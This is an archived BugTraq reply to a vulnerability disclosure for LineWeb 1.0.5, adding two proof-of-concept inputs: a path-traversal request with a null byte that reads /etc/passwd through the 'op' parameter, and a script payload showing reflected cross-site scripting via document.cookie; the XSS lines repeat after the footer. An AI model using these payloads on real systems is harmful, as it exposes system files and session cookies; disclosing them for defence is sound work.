BugTraq
Back to list
|
Post reply
Re: Multiple vulnerabilities in LineWeb 1.0.5
Jan 06 2010 09:55AM
ign sec gmail com
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00
And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>
Ignacio.
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>
Ignacio.
[ reply ]